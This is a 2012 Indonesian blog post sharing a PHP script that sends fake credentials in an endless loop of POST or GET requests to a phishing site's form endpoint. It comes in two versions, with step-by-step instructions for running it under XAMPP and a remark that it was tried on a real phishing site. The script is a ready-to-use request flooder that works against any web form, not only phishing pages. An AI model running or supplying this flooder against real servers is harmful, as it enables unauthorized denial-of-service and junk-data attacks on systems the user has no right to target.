Senin, 21 Mei 2012

[ PHP ] Script Flood Phising

<?php
class flood_phising{
/*
 * Author : Poticous
 * 21 May 2012
 */
    var $user_agent = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)";
    var $cookies = "cookie.txt";
    function __construct($target,$post){
  while(1){
   $flood = $this->curl($target,$post);
   if($flood){
    print "Sukses.\n";
   }else{
    print "Gagal.\n";
   }
  }
    }
 
    public function curl($url,$data="") {
        $ch = curl_init($url);
        if ($data != "") {
            curl_setopt($ch, CURLOPT_POST,1);
            curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
        }
        curl_setopt($ch, CURLOPT_USERAGENT, $this->user_agent);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt ($ch, CURLOPT_COOKIEJAR, $this->cookies); 
        curl_setopt ($ch, CURLOPT_COOKIEFILE, $this->cookies);
        $source = curl_exec($ch);
        $this->status = curl_getinfo($ch,CURLINFO_HTTP_CODE);
        $this->error = curl_error($ch);
        curl_close($ch);
        return $source;
    }
}
$post = array(
 "email"=>"jangan nge hack fb orang om ntar dosa :D",
 "pass"=>"Maaf ane hanya nyoba script buat nge flood phising :D"
 );
$flood = new flood_phising("http://situs/logs.php",$post);
?> 

Edit di bagian
$post = array(
 "email"=>"jangan nge hack fb orang om ntar dosa :D",
 "pass"=>"Maaf ane hanya nyoba script buat nge flood phising :D"
 );
$flood = new flood_phising("http://situs/logs.php",$post);

$post = array(
"nama input"=>"value",
"nama input"=>"value"
);
 dan
$flood = new flood_phising("Situs Phising",$post);  

Cara Penggunaan :
  1. Pastikan xampp telah terinstall di komputer anda
  2. Buka Command Promt (CMD) dengan cara Run->cmd atau Start->all Programs->Accessories->Command Prompt
  3. Ketik cd C:\xampp\php
  4. Kemudian ketik php lokasi meyimpan script/nama script.php ( Contoh : php C:\flood.phising.php)
  5. Script sudah di jalankan,, sekarang tinggal tunggu hasilnya :D


[ Update ]

Update penambahan fitur post atau get
<?php
class flood_phising{
/*
 * Pembuat : Poticous
 * Dibuat Pada Tanggal : 21 Mei 2012
 * Tanggal Update : 28 Juni 2012
 */
    var $user_agent = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)";
    var $cookies = "cookie.txt";
    function __construct($target,$post,$method){
  if(strtolower($method)=="post"){
   while(1){
    $flood = $this->curl($target,$post);
    if($flood){
     print "Sukses.\n";
    }else{
     print "Gagal.\n";
    }
   }
  }elseif(strtolower($method)=="get"){
   $a = str_replace("?","",$target);
   while(1){
    $flood = $this->curl($a."?".http_build_query($post));
    if($flood){
     print "Sukses.\n";
    }else{
     print "Gagal.\n";
    }
   }
  }
    }
    public function curl($url,$data="") {
        $ch = curl_init($url);
        if ($data != "") {
            curl_setopt($ch, CURLOPT_POST,1);
            curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
        }
        curl_setopt($ch, CURLOPT_USERAGENT, $this->user_agent);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt ($ch, CURLOPT_COOKIEJAR, $this->cookies); 
        curl_setopt ($ch, CURLOPT_COOKIEFILE, $this->cookies);
        $source = curl_exec($ch);
        $this->status = curl_getinfo($ch,CURLINFO_HTTP_CODE);
        $this->error = curl_error($ch);
        curl_close($ch);
        return $source;
    }
}$post = array(
 "email"=>"jangan nge hack fb orang om ntar dosa :D",
 "pass"=>"Maaf ane hanya nyoba script buat nge flood phising :D"
 );
$flood = new flood_phising("http://situs/logs.php",$post,"get");
?> 

cara penggunaan masih sama kaya versi sebelumnya tetapi disini tinggal di tambahkan method yg digunakan post atau get
contoh pada code ini :

$flood = new flood_phising("http://situs/logs.php",$post,"get");

pada code di atas terdapat code "get" code tersebut bisa di ganti dengan post tergantung pada form phising nya menggunakan method="post" atau method="get"


telah di coba ke situs phising om genta :piss

- Regards Poticous -

0 komentar:

Posting Komentar